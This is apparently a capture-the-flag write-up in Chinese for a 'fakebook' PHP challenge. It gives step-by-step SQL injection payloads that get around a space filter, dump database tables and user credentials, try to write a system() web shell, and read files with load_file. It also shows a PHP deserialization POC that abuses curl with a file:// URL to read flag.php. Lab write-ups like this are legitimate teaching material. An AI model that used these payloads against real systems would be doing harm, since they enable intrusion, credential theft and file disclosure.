通过load_file读取
创建一下用户进入,看到no字段,尝试SQL注入

这里过滤了空格 用/**/绕过,payload如下
?no=1 order by 4#
?no=-1 union/**/select/**/1,database(),3,4#
?no=-1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'#
?no=-1 union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'#
-1 union/**/select/**/1,group_concat(username,'+',passwd,'+',data),3,4/**/from/**/users#
可以看到返回的data是经过序列化的结果,那我们就可以利用data字段来进行反序列化,这里我们先查看一下用户的权限
no=-1 union/**/select 1, user(), 3, 4#
先尝试写木马,发现没权限
?no=-1 union/**/select 1, '<?php system($_GET["cmd"]); ?>', 3, 4 into outfile '/var/www/html/shell.php'#
因为我们之前得到了绝对路径,同时又是root权限,可以通过load_file来读取文件
no=-1 union/**/select 1, load_file('/var/www/html/flag.php'), 3, 4#
查看源代码获取flag:

反序列化读取
爆破目录看到robots.txt

下载user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}漏洞点:
function get($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); // 直接将传入的 $url 用于 curl 请求
// ...
$output = curl_exec($ch); // 执行请求并获取内容
// ...
return $output;
}由于是用blog来触发的,所以构造POC如下:
<?php
class UserInfo
{
public $name = "admin";
public $age = 18;
public $blog = "file:///var/www/html/flag.php"; // 目标文件路径
}
$obj = new UserInfo();
echo serialize($obj);
?>O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}之前我们说到过sql注入的username是第二位回显,那么data就是第四位回显,构造payload如下:
?no=-1 union/**/select 1, 2, 3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
查看源代码

base64解密即可

Comments 1 条评论
睾总好帅!好想给你生猴子!!!!!!